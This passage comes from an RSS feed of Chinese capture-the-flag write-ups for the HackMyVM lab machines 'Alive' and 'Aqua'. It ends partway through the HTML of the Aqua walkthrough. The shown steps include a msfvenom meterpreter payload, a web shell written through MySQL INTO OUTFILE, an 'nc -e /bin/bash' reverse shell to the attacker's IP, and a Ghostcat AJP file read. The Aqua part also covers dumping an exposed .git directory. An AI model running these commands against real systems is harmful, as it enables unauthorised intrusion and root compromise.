&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;获得www-data权限&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/alive]
└─# msfvenom -p php/meterpreter_reverse_tcp LHOST=172.16.55.210 LPORT=8888 -o shell_m.php


msf6 post(multi/manage/shell_to_meterpreter) &amp;gt; sessions -l

Active sessions
===============

  Id  Name  Type                  Information           Connection
  --  ----  ----                  -----------           ----------
  7         shell php/php                               172.16.55.210:8888 -&amp;gt;
                                                         172.16.52.191:37094
                                                        (172.16.52.191)
  8         meterpreter x86/linu  www-data @ alive.hmv  172.16.55.210:4433 -&amp;gt;
            x                                            172.16.52.191:33030
                                                        (172.16.52.191)
msf6 post(multi/manage/shell_to_meterpreter) &amp;gt; sessions -i 8
[*] Starting interaction with 8...

meterpreter &amp;gt; shell
script /dev/null -c bash
www-data@alive:~/html/tmp$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cd home
ls
alexandra
cd alexandra
ls
user.txt
cat user.txt
cat: user.txt: Permission denied
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;权限不够&lt;/p&gt;
&lt;p&gt;进一步信息收集吧&lt;/p&gt;
&lt;h3&gt;提权&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;lt;?php
if ($_SERVER[&amp;quot;REQUEST_METHOD&amp;quot;] == &amp;quot;POST&amp;quot;) {
    $url = $_POST[&amp;quot;url&amp;quot;];
    $allowed_chars = &amp;#39;/^[^;|&amp;amp;$`()\[\]]*$/&amp;#39;;
    if(empty($url)) {
        echo &amp;quot;Empty URL!&amp;quot;;
    } elseif (!preg_match($allowed_chars, $url)) {
        echo &amp;quot;Invalid URL!&amp;quot;;
    } else {
        $command = &amp;#39;curl -s &amp;#39; . $url;
        exec($command . &amp;#39; 2&amp;gt;&amp;amp;1&amp;#39;, $output, $return_var);
        echo implode(&amp;quot;\n&amp;quot;, $output);
    }
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;lt;?php
    $servername = &amp;quot;localhost&amp;quot;;
    $username = &amp;quot;admin&amp;quot;;
    $password = &amp;quot;HeLL0alI4ns&amp;quot;;
    $dbname = &amp;quot;digitcode&amp;quot;;

    $conn = new mysqli($servername, $username, $password, $dbname);

    if ($conn-&amp;gt;connect_error) {
        die(&amp;quot;Connection failed: &amp;quot; . $conn-&amp;gt;connect_error);
    }

    if ($_SERVER[&amp;quot;REQUEST_METHOD&amp;quot;] == &amp;quot;POST&amp;quot;) {
        $digit = mysqli_real_escape_string($conn, $_POST[&amp;quot;digit&amp;quot;]);

        $stmt = $conn-&amp;gt;prepare(&amp;quot;SELECT digit, url FROM code, path WHERE code.id = path.id and code.id = ?&amp;quot;);
        $stmt-&amp;gt;bind_param(&amp;quot;i&amp;quot;, $id);
        $id = 1;
        $stmt-&amp;gt;execute();
        $stmt-&amp;gt;bind_result($correct_digit, $path);
        $stmt-&amp;gt;fetch();
        $stmt-&amp;gt;close();

        if ($digit === $correct_digit) {
            header(&amp;quot;Location: $path&amp;quot;);
            exit;
        } else {
            echo &amp;quot;Wrong digit code.&amp;quot;;
        }
    }

    $conn-&amp;gt;close();
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;找到数据库账号密码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$username = &amp;quot;admin&amp;quot;;

$password = &amp;quot;HeLL0alI4ns&amp;quot;;

$dbname = &amp;quot;digitcode&amp;quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;www-data@alive:~/html/tmp$ mysql -u admin -p
mysql -u admin -p
Enter password: HeLL0alI4ns

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 12
Server version: 10.3.25-MariaDB MariaDB Server

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type &amp;#39;help;&amp;#39; or &amp;#39;\h&amp;#39; for help. Type &amp;#39;\c&amp;#39; to clear the current input statement.

MariaDB [(none)]&amp;gt; show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| digitcode          |
| information_schema |
| mysql              |
| performance_schema |
| qdpm_db            |
+--------------------+
5 rows in set (0.000 sec)

MariaDB [(none)]&amp;gt; use digitcode;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
Database changed
MariaDB [digitcode]&amp;gt; show tables;
+---------------------+
| Tables_in_digitcode |
+---------------------+
| code                |
| path                |
+---------------------+
2 rows in set (0.000 sec)
 
MariaDB [digitcode]&amp;gt; use qdpm_db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
Database changed
MariaDB [qdpm_db]&amp;gt; show tables;
+----------------------+
| Tables_in_qdpm_db    |
+----------------------+
| attachments          |
| configuration        |
| departments          |
| discussions          |
| discussions_comments |
| discussions_reports  |
| discussions_status   |
| events               |
| extra_fields         |
| extra_fields_list    |
| phases               |
| phases_status        |
| projects             |
| projects_comments    |
| projects_phases      |
| projects_reports     |
| projects_status      |
| projects_types       |
| tasks                |
| tasks_comments       |
| tasks_groups         |
| tasks_labels         |
| tasks_priority       |
| tasks_status         |
| tasks_types          |
| tickets              |
| tickets_comments     |
| tickets_reports      |
| tickets_status       |
| tickets_types        |
| user_reports         |
| users                |
| users_groups         |
| versions             |
| versions_status      |
+----------------------+
35 rows in set (0.000 sec)
 
MariaDB [qdpm_db]&amp;gt; select * from users;
+----+----------------+---------------+-------+-------------------------+---------+------------------------------------+--------+------+
| id | users_group_id | name          | photo | email                   | culture | password                           | active | skin |
+----+----------------+---------------+-------+-------------------------+---------+------------------------------------+--------+------+
|  3 |              1 | administrator |       | administrator@alive.hmv |         | $P$EXzIrSSSu7iTu2wc9sFTh29F7Ajn371 |      1 | NULL |
+----+----------------+---------------+-------+-------------------------+---------+------------------------------------+--------+------+
1 row in set (0.000 sec)
 
MariaDB [qdpm_db]&amp;gt; exit
Bye
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;www-data@alive:~/html/tmp$ ps aux | grep mysql
ps aux | grep mysql
root         450  0.0  0.0   2484  1544 ?        S    13:58   0:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --user=root --bind-address=127.0.0.1 --socket=/run/mysqld/mysqld.sock
root         590  0.0  6.0 1234500 96684 ?       Sl   13:58   0:04 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin --user=root --bind-address=127.0.0.1 --log-error=/usr/local/mysql/data/alive.hmv.err --pid-file=alive.hmv.pid --socket=/run/mysqld/mysqld.sock
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;⚠️ &lt;strong&gt;MySQL 是以 root 用户运行的！&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;www-data@alive:~/html/tmp$ curl 127.0.0.1:8000
curl 127.0.0.1:8000
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
    &amp;lt;head&amp;gt;
        &amp;lt;title&amp;gt;Backup&amp;lt;/title&amp;gt;
    &amp;lt;/head&amp;gt;
    &amp;lt;body&amp;gt;
        &amp;lt;p&amp;gt;Only local zipped backup.&amp;lt;/p&amp;gt;

    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;www-data@alive:~/html/tmp$ ps -ef | grep 8000
ps -ef | grep 8000
root         448     446  0 13:58 ?        00:00:00 /bin/sh -c php -t /opt -S 127.0.0.1:8000
root         449     448  0 13:58 ?        00:00:00 php -t /opt -S 127.0.0.1:8000
www-data    1313    1261  0 15:24 pts/1    00:00:00 grep 8000
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;MariaDB [(none)]&amp;gt; select &amp;quot;&amp;lt;?php echo shell_exec($_GET[&amp;#39;cmd&amp;#39;]);?&amp;gt;&amp;quot; into OUTFILE &amp;#39;/opt/shell.php&amp;#39;

    -&amp;gt; ;

Query OK, 1 row affected (0.015 sec)

 

MariaDB [(none)]&amp;gt; exit

Bye
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;www-data@alive:/opt$ curl 127.0.0.1:8000/shell.php?cmd=whoami
curl 127.0.0.1:8000/shell.php?cmd=whoami
root
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl 127.0.0.1:8000/shell.php?cmd=nc%20-e%20/bin/bash%20172.16.55.210%204444

┌──(root㉿kali)-[/home/kali/Desktop/hmv/alive]
└─# nc -lvvp 4444                   
listening on [any] 4444 ...
172.16.52.191: inverse host lookup failed: Host name lookup failure
connect to [172.16.55.210] from (UNKNOWN) [172.16.52.191] 46988
whoami
root
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cd alexandra
ls
user.txt
cat user.txt
1637c0ee2d19e925bd6394c847a62ed5


cd /root
cat root.txt
819be2c3422a6121dac7e8b1da21ce32
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/alive/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/alive/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Wed, 10 Dec 2025 00:00:00 GMT</pubDate></item><item><title>HMV-Aqua</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/aqua/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/aqua/</guid><description>Go into the deep sea to gain access to Atlantida.</description><content:encoded>&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;ip定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/aqua]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot;                                       
172.16.52.195   08:00:27:ac:48:09       PCS Systemtechnik GmbH
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Nmap扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/aqua]
└─# nmap -Pn -sTCV -T4 172.16.52.195
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-10 17:26 EST
Nmap scan report for 172.16.52.195
Host is up (0.00039s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 00:11:32:04:42:e0:7f:98:29:7c:1c:2a:b8:a7:b0:4a (RSA)
|   256 9c:92:93:eb:1c:8f:84:c8:73:af:ed:3b:65:09:e4:89 (ECDSA)
|_  256 a8:5b:df:d0:7e:31:18:6e:57:e7:dd:6b:d5:89:44:98 (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Todo sobre el Agua
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open  http    Apache Tomcat 8.5.5
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/8.5.5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.24 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;8009端口&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;端口&lt;/strong&gt;&lt;br/&gt;8009&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;服务&lt;/strong&gt;&lt;br/&gt;AJP13&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;版本&lt;/strong&gt;&lt;br/&gt;Apache JServ Protocol&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Tomcat AJP 反向代理远程文件包含漏洞 (Ghostcat CVE-2020-1938)&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/tools/Ghostcat]
└─# python ajpShooter.py http://172.16.52.195:8080/ 8009 /WEB-INF/web.xml read

/home/kali/Desktop/tools/Ghostcat/ajpShooter.py:363: SyntaxWarning: invalid escape sequence &amp;#39;\ &amp;#39;
  /_\  (_)_ __   / _\ |__   ___   ___ | |_ ___ _ __

       _    _         __ _                 _            
      /_\  (_)_ __   / _\ |__   ___   ___ | |_ ___ _ __ 
     //_\\ | | &amp;#39;_ \  \ \| &amp;#39;_ \ / _ \ / _ \| __/ _ \ &amp;#39;__|
    /  _  \| | |_) | _\ \ | | | (_) | (_) | ||  __/ |   
    \_/ \_// | .__/  \__/_| |_|\___/ \___/ \__\___|_|   
         |__/|_|                                        
                                                00theway,just for test
    

[&amp;lt;] 200 200
[&amp;lt;] Accept-Ranges: bytes
[&amp;lt;] ETag: W/&amp;quot;1227-1472673232000&amp;quot;
[&amp;lt;] Last-Modified: Wed, 31 Aug 2016 19:53:52 GMT
[&amp;lt;] Content-Type: application/xml
[&amp;lt;] Content-Length: 1227

&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;
&amp;lt;!--
 Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the &amp;quot;License&amp;quot;); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an &amp;quot;AS IS&amp;quot; BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
--&amp;gt;
&amp;lt;web-app xmlns=&amp;quot;http://xmlns.jcp.org/xml/ns/javaee&amp;quot;
  xmlns:xsi=&amp;quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot;
  xsi:schemaLocation=&amp;quot;http://xmlns.jcp.org/xml/ns/javaee
                      http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd&amp;quot;
  version=&amp;quot;3.1&amp;quot;
  metadata-complete=&amp;quot;true&amp;quot;&amp;gt;

  &amp;lt;display-name&amp;gt;Welcome to Tomcat&amp;lt;/display-name&amp;gt;
  &amp;lt;description&amp;gt;
     Welcome to Tomcat
  &amp;lt;/description&amp;gt;

&amp;lt;/web-app&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用ajpShooter成功获得敏感信息&lt;/p&gt;
&lt;p&gt;读了半天只读出个这玩意&lt;/p&gt;
&lt;h1&gt;80端口&lt;/h1&gt;
&lt;h2&gt;目录枚举&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/aqua]
└─# dirsearch -u http://172.16.52.195  
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3                                                                        
 (_||| _) (/_(_|| (_| )                                                                                 
                                                                                                        
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Desktop/hmv/aqua/reports/http_172.16.52.195/_25-12-10_17-45-04.txt

Target: http://172.16.52.195/

[17:45:13] 301 -  312B  - /css  -&amp;gt;  http://172.16.52.195/css/               
[17:45:16] 301 -  312B  - /img  -&amp;gt;  http://172.16.52.195/img/               
[17:45:23] 200 -   33B  - /robots.txt                                       
[17:45:24] 403 -  278B  - /server-status                                    
[17:45:24] 403 -  278B  - /server-status/  
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;robots.txt&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;User-Agent: *
Disalow: /SuperCMS
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;/SuperCMS&lt;/h2&gt;
&lt;p&gt;访问&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Aqua-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;仅仅得到一张图片，直接目录扫描&lt;/p&gt;
&lt;h3&gt;目录扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;──(root㉿kali)-[/home/kali/Desktop/hmv/aqua]
└─# dirsearch -u http://172.16.52.195/SuperCMS/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3                                               
 (_||| _) (/_(_|| (_| )                                                        
                                                                               
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/kali/Desktop/hmv/aqua/reports/http_172.16.52.195/_SuperCMS__25-12-10_17-49-14.txt

Target: http://172.16.52.195/

[17:49:14] Starting: SuperCMS/                                                 
[17:49:14] 301 -  320B  - /SuperCMS/js  -&amp;gt;  http://172.16.52.195/SuperCMS/js/
[17:49:15] 301 -  322B  - /SuperCMS/.git  -&amp;gt;  http://172.16.52.195/SuperCMS/.git/
[17:49:15] 200 -  420B  - /SuperCMS/.git/branches/                          
[17:49:15] 200 -  607B  - /SuperCMS/.git/
[17:49:15] 200 -  257B  - /SuperCMS/.git/config                             
[17:49:15] 200 -   73B  - /SuperCMS/.git/description
[17:49:15] 200 -  644B  - /SuperCMS/.git/hooks/                             
[17:49:15] 200 -   21B  - /SuperCMS/.git/HEAD
[17:49:15] 200 -  620B  - /SuperCMS/.git/index                              
[17:49:15] 200 -  466B  - /SuperCMS/.git/info/
[17:49:15] 200 -  240B  - /SuperCMS/.git/info/exclude                       
[17:49:15] 200 -  488B  - /SuperCMS/.git/logs/                              
[17:49:15] 301 -  332B  - /SuperCMS/.git/logs/refs  -&amp;gt;  http://172.16.52.195/SuperCMS/.git/logs/refs/
[17:49:15] 301 -  347B  - /SuperCMS/.git/logs/refs/remotes/origin  -&amp;gt;  http://172.16.52.195/SuperCMS/.git/logs/refs/remotes/origin/
[17:49:15] 301 -  338B  - /SuperCMS/.git/logs/refs/heads  -&amp;gt;  http://172.16.52.195/SuperCMS/.git/logs/refs/heads/
[17:49:15] 301 -  340B  - /SuperCMS/.git/logs/refs/remotes  -&amp;gt;  http://172.16.52.195/SuperCMS/.git/logs/refs/remotes/
[17:49:15] 200 -  176B  - /SuperCMS/.git/logs/refs/remotes/origin/HEAD      
[17:49:15] 200 -  176B  - /SuperCMS/.git/logs/HEAD
[17:49:15] 200 -  480B  - /SuperCMS/.git/refs/
[17:49:15] 301 -  333B  - /SuperCMS/.git/refs/heads  -&amp;gt;  http://172.16.52.195/SuperCMS/.git/refs/heads/
[17:49:15] 200 -  659B  - /SuperCMS/.git/objects/
[17:49:15] 200 -  112B  - /SuperCMS/.git/packed-refs
[17:49:15] 301 -  335B  - /SuperCMS/.git/refs/remotes  -&amp;gt;  http://172.16.52.195/SuperCMS/.git/refs/remotes/
[17:49:15] 301 -  342B  - /SuperCMS/.git/refs/remotes/origin  -&amp;gt;  http://172.16.52.195/SuperCMS/.git/refs/remotes/origin/
[17:49:15] 200 -   30B  - /SuperCMS/.git/refs/remotes/origin/HEAD
[17:49:15] 301 -  332B  - /SuperCMS/.git/refs/tags  -&amp;gt;  http://172.16.52.195/SuperCMS/.git/refs/tags/                          
[17:49:26] 301 -  321B  - /SuperCMS/css  -&amp;gt;  http://172.16.52.195/SuperCMS/css/
[17:49:30] 301 -  321B  - /SuperCMS/img  -&amp;gt;  http://172.16.52.195/SuperCMS/img/
[17:49:31] 200 -  464B  - /SuperCMS/js/                                     
[17:49:32] 200 -  779B  - /SuperCMS/login.html                              
[17:49:38] 200 -   37B  - /SuperCMS/README.md  
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;login.html&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Aqua-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;没啥思路&lt;/p&gt;
&lt;h2&gt;Git泄露&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/…/Desktop/hmv/aqua/172.16.52.195]
└─#  githacker --url http://172.16.52.195/SuperCMS/.git/ --output-folder result

┌──(root㉿kali)-[/home/…/aqua/172.16.52.195/result/60874c11d6e26a35aec2178ca897434a]
└─# git log                            
commit 2e6cd2656d4e343dbcbc0e59297b9b217656c3a4 (HEAD -&amp;gt; main, origin/main, origin/HEAD)
Author: aquilino &amp;lt;hidro23@hotmail.com&amp;gt;
Date:   Fri Oct 1 09:59:53 2021 +0200

    Add files via upload

commit c3e76fb1f1bd32996e2549c699b0a4fa528e9a0d
Author: aquilino &amp;lt;hidro23@hotmail.com&amp;gt;
Date:   Fri Oct 1 09:50:16 2021 +0200

    Delete login.html

commit ac5bbd68afc5dc0d528f8e72daf14ab547c4b55a
Author: aquilino &amp;lt;hidro23@hotmail.com&amp;gt;
Date:   Thu Sep 30 13:43:50 2021 +0200

    Update index.html

commit f159677b7a6fb9090d9f8ba957e7e8a46f5b6df3
Author: aquilino &amp;lt;hidro23@hotmail.com&amp;gt;
Date:   Thu Sep 30 13:42:21 2021 +0200

    Update README.md

commit 8cb735a8c51987448f9386406933d0a147a1cb3f
Author: aquilino &amp;lt;hidro23@hotmail.com&amp;gt;
Date:   Fri Jun 18 16:47:50 2021 +0200

    Add files via upload

commit 3b7e4b8bb0eeb8557fc3ab0b9e7acec16431150a
Author: aquilino &amp;lt;hidro23@hotmail.com&amp;gt;
Date:   Thu Jun 17 13:08:43 2021 +0200

    Delete knocking_on_Atlantis_door.txt
    
    Arthur, has perdido tu oportunidad

commit 58afe63a1cd28fa167b95bcff50d2f6f011337c1
Author: aquilino &amp;lt;hidro23@hotmail.com&amp;gt;
Date:   Thu Jun 17 12:59:05 2021 +0200

    Create knocking_on_Atlantis_door.txt
    
    Las Puertas del avismo

commit 7b1614729157e934673b9b90ac71a2007cbf2190
Author: aquilino &amp;lt;hidro23@hotmail.com&amp;gt;
Date:   Thu Jun 17 12:57:40 2021 +0200

    Initial commit
(END)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;knocking_on_Atlantis_door.txt&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/…/aqua/172.16.52.195/result/60874c11d6e26a35aec2178ca897434a]
└─# git show 58afe63a1cd28fa167b95bcff50d2f6f011337c1
commit 58afe63a1cd28fa167b95bcff50d2f6f011337c1
Author: aquilino &amp;lt;hidro23@hotmail.com&amp;gt;
Date:   Thu Jun 17 12:59:05 2021 +0200

    Create knocking_on_Atlantis_door.txt
    
    Las Puertas del avismo

diff --git a/knocking_on_Atlantis_door.txt b/knocking_on_Atlantis_door.txt
new file mode 100644
index 0000000..84cdd81
--- /dev/null
+++ b/knocking_on_Atlantis_door.txt
@@ -0,0 +1,2 @@
+Para abrir  las puertas esta es la secuencia
+(☞ﾟヮﾟ)☞ 1100,800,666 ☜(ﾟヮﾟ☜)

要打开大门，这是顺序：1100，800，666                     
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说：&lt;br&gt;目标主机隐藏了某个服务（比如 SSH、后台、数据库），需要按顺序访问三个端口：1100 → 800 → 666 才会开放真正的端口。&lt;/p&gt;
&lt;p&gt;这 100% 是 Port Knocking 机制。&lt;/p&gt;
&lt;h3&gt;Knock&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;knock 172.16.52.195 1100 800 666 -v
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;二次信息收集&lt;/h1&gt;
&lt;h2&gt;Nmap扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/aqua]
└─# nmap -Pn -sTCV -T4 172.16.52.195
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-10 18:45 EST
Nmap scan report for 172.16.52.195
Host is up (0.0018s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 172.16.55.179
|      Logged in as ftp
|      TYPE: ASCII
|      Session bandwidth limit in byte/s is 1048576
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-bounce: bounce working!
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 0        0            4096 Jun 30  2021 pub
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 00:11:32:04:42:e0:7f:98:29:7c:1c:2a:b8:a7:b0:4a (RSA)
|   256 9c:92:93:eb:1c:8f:84:c8:73:af:ed:3b:65:09:e4:89 (ECDSA)
|_  256 a8:5b:df:d0:7e:31:18:6e:57:e7:dd:6b:d5:89:44:98 (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Todo sobre el Agua
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open  http    Apache Tomcat 8.5.5
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat/8.5.5
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.82 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看见多开放了一个21端口&lt;/p&gt;
&lt;h2&gt;FTP匿名登录&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/aqua]
└─# ftp 172.16.52.195  
Connected to 172.16.52.195.
220 (vsFTPd 3.0.3)
Name (172.16.52.195:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp&amp;gt; pwd
Remote directory: /
ftp&amp;gt; cd pub
250 Directory successfully changed.
ftp&amp;gt; ls -al
229 Entering Extended Passive Mode (|||30960|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jun 30  2021 .
drwxr-xr-x    3 0        0            4096 Feb 03  2021 ..
-rw-r--r--    1 0        0            1250 Feb 03  2021 .backup.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;压缩包解压&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/aqua]
└─# 7z x backup.zip   


7-Zip 24.08 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-08-11
 64-bit locale=zh_CN.UTF-8 Threads:128 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 1250 bytes (2 KiB)

Extracting archive: backup.zip
--
Path = backup.zip
Type = zip
Physical Size = 1250

    
Enter password (will not be echoed):
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要输入密码&lt;/p&gt;
&lt;h2&gt;压缩包密码解密&lt;/h2&gt;
&lt;p&gt;view-source:&lt;a href=&quot;http://172.16.52.195/&quot;&gt;http://172.16.52.195/&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;

&amp;lt;html&amp;gt;
	&amp;lt;head&amp;gt;
	    &amp;lt;meta charset=&amp;quot;utf-8&amp;quot;&amp;gt;
	    &amp;lt;title&amp;gt;Todo sobre el Agua&amp;lt;/title&amp;gt;
	    &amp;lt;link href=&amp;quot;https://fonts.googleapis.com/css?family=Lobster&amp;quot; rel=&amp;quot;stylesheet&amp;quot;&amp;gt;
	    &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;css/main.css&amp;quot; /&amp;gt;
	&amp;lt;/head&amp;gt;
	&amp;lt;body&amp;gt;
	&amp;lt;header class=&amp;quot;header content&amp;quot;&amp;gt;
